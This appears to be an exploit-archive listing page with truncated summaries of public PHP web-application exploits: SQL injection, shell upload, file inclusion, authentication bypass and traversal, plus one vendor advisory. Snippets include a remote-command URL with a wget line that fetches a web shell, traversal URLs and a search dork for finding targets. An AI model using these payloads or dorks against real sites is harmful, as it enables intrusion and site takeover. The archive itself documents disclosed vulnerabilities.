Electronic Book (ebook.php) Blind SQL Injection Vulnerability

Exploit for php platform in category web applications ============================================================= Electronic Book ebook.php Blind SQL Injection Vulnerability ============================================================= @ Exploit Title: Electronic Book ebook.php Blind SQL...

Webiz Shell Upload

Exploit Title: Webiz local SHELL Upload Vulnerability Date: 23-05-2010 Author: kannibal615 Software Link: N/A Version: 2004 Tested on: PHP CVE : N/A Code : @@ @@ @@@@@@ @@ @@ @@@@ @@@@@@@ @@ @@ @@@@@@@ @@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@@@@@@@ @@ @@ @@ @@@@ @@@@@@ @@ @...

NetStart (readnews.php) SQL Injection Vulnerability

Exploit for php platform in category web applications =================================================== NetStart readnews.php SQL Injection Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /...

AuroraGPT 4 Command Execution

Title : AuroraGPT V4 RCE Vulnerability Author: Amoo Arash Date : 2010-04-11 Version : 4 InformatioN Title : AuroraGPT V4 RCE Vulnerability Author : Amoo Arash ExploiT Vulnerable File : http://127.0.0.1/index.php?view=help&faq=1&ref&cmd=Command ExploiT : wget example.com/shell.txt -O shell.php...

openx advertising system 0DYA-vulnerability warning-the black bar safety net

openx advertising system 0dayoriginal author: YJPS reprint please indicate the Penetration of a foreign station when the discovery and successful use of Using the method first go to the official under a useless plugin and then modify the back to plug in a normal PHP file inserted into a word to...

FaMarket 2 - Authentication Bypass

FaMarket 2 - Authentication Bypass ======================================================================================== | Title : FaMarket.V2 Auth Bypass Vulnerability | Author : indoushka | email : [email protected] | Home : www.iqs3cur1ty.com | Web Site : | Tested on: windows SP2 França...

Simple Machines Forum 1.1.8 PHP File Execution

Simple Machines Forum ------END----- cat hacks.txt Simple Machines Forum = 1.1.8 avatar rpfe PoC by Jose Luis Gongora Fernandez aka JosS ///vhosts/hack0wn.com/httpdocs/poc.php VICTIM: 88.25.92. info: Mozilla/5.0 X11; U; Linux i686; es-ES; rv:1.8.1.19 Gecko/20...

Simple Machines Forum (SMF) 1.1.8 - avatar Remote PHP File Execute

Simple Machines Forum SMF 1.1.8 - avatar Remote PHP File Execute Simple Machines Forum ------END----- cat hacks.txt Simple Machines Forum = 1.1.8 avatar rpfe PoC by Jose Luis Gongora Fernandez aka JosS ///vhosts/hack0wn.com/httpdocs/poc.php VICTIM: 88.25.92. info: Mozilla/5.0 X11; U; Linux i686;...

Core Security Technologies Advisory 2010.0311

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ eFront-learning PHP file inclusion vulnerability 1. Advisory Information Title: eFront-learning PHP file inclusion vulnerability Advisory Id: CORE-2010-0311 Advisory...

RogioBiz PHP File Manager 1.2 Administrative Bypass

bypass admin exploit Author: ItSecTeam download from:http://www.scriptingblog.com/download/RogioBizPHPfilemanagerV1.2.zip script:RogioBizPHPfilemanagerV1.2 dork:inurl:"/rbfminc/" ----------------------------------------- use:run this xpl and after runing eror Incorect username or password! now...

RogioBiz PHP file manager V1.2 bypass admin exploit

Exploit for unknown platform in category web applications =================================================== RogioBiz PHP filemanager V1.2 bypass admin exploit =================================================== bypass admin exploit Author: ItSecTeam download...

PHP File Sharing System v1.5.1 Multiple Vulnerabilities

Exploit for unknown platform in category web applications ======================================================= PHP File Sharing System v1.5.1 Multiple Vulnerabilities ======================================================= Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities Author:...

PHP File Uploader Upload Vulnerability

Exploit for unknown platform in category web applications ====================================== PHP File Uploader Upload Vulnerability ====================================== ======================================================================================== | Title : PHP File Uploader Uploa...

PHP File Sharing System 1.5.1 Directory Traversal / XSS / Shell Upload

Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities Date: March 8, 2010 Author: blake Download: http://sourceforge.net/projects/phpfilesadmin/ Version: 1.5.1 Tested on: Windows XP SP3 with xampplite 1 XSS http://192.168.1.149/fss/index.php?cam= 2 Directory transversal...

PHP File Sharing System 1.5.1 - Multiple Vulnerabilities

Title: PHP File Sharing System 1.5.1 Multiple Vulnerabilities Author: blake Tested on: Windows XP SP3 with xampplite 1 XSS http://192.168.1.149/fss/index.php?cam= 2 Directory transversal http://192.168.1.149/fss/index.php?cam=/../../../../../../../.. 3 Shell through file upload can upload php...

Simple And Nice Index File 1.5.2 Arbitrary File Download

-------------------------------------------- -: Snif - "Any Filetype" Download Exploit :- -------------------------------------------- Script : Snif - Simple And Nice Index File Version : 1.5.2 possibly lower versions too Found By : Aodrulez. Email : f3arm3d3aratgmail.com Vulnerability:...

PHP File Uploader Shell Upload

======================================================================================== | Title : PHP File Uploader Shell Upload Vulnerability | Author : indoushka | email : [email protected] | Home : Souk Naamane - 04325 - Oum El Bouaghi - Algeria -00213771818860 | Total alerts found : 1 |...

php168 5.0 job.php 信息泄漏漏洞

漏洞分析 看job.php 92行 elseif$job=="download" $rsdb=$db-getone"SELECT FROM $prearticle WHERE aid='$id'"; $fidDB=$db-getone"SELECT FROM $presort WHERE fid='$rsdbfid'"; if$fidDBadmin&&$lfjid $detail=explode",",$fidDBadmin; if inarray$lfjid,$detail $webadmin=1;...

Add An Ad Script Remote Shell Upload

| | Add An Ad Script Remote PHP File Upload | | it works with Add An Ad Cart script and Add An Event script | | Site : http://www.addanad.com/ | | Download : | http://www.addanad.com/addanad/product.php?id=1 Add An Ad Cart | http://www.addanad.com/addanad/product.php?id=14 Add An Event | | Found ...

Invision Power Board Local File Inclusion / SQL Injection

============================================= - Release date: December 4th, 2009 - Discovered by: Dawid Golunski - Severity: Moderately High ============================================= I. VULNERABILITY ------------------------- Invision Power Board = 3.0.4 Local PHP File Inclusion and SQL...